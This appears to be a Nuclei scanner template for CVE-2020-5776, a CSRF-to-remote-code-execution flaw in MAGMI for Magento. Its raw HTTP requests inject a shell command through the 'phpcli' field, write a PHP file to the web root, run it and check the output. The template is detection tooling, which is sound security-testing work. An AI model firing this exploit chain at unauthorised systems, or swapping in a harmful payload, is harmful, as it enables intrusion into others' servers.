62 lines
2.6 KiB
YAML
62 lines
2.6 KiB
YAML
id: CVE-2020-5776
|
|
|
|
info:
|
|
name: MAGMI - Cross-Site Request Forgery
|
|
author: dwisiswant0
|
|
severity: high
|
|
description: MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.
|
|
remediation: |
|
|
Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2020-51
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-5776
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2020-5776
|
|
cwe-id: CWE-352
|
|
epss-score: 0.56617
|
|
epss-percentile: 0.97313
|
|
cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: magmi_project
|
|
product: magmi
|
|
shodan-query: http.component:"Magento"
|
|
tags: magmi,magento,tenable,cve,cve2020
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /magmi/web/magmi_saveprofile.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: close
|
|
|
|
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
|
|
- |
|
|
POST /magmi/web/magmi_run.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: close
|
|
|
|
engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
|
|
- |
|
|
GET /magmi/web/info.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Connection: close
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "PHP Extension"
|
|
- "PHP Version"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502203a98e2f5ab74511df536fbd4b4c654983affc259c3406cef2ed622ba688e4c52022100f7670abed38369ac74003fbe42102b7fef0f226a966976af88d62985b135ecd9:922c64590222798bb761d5b6d8e72950
|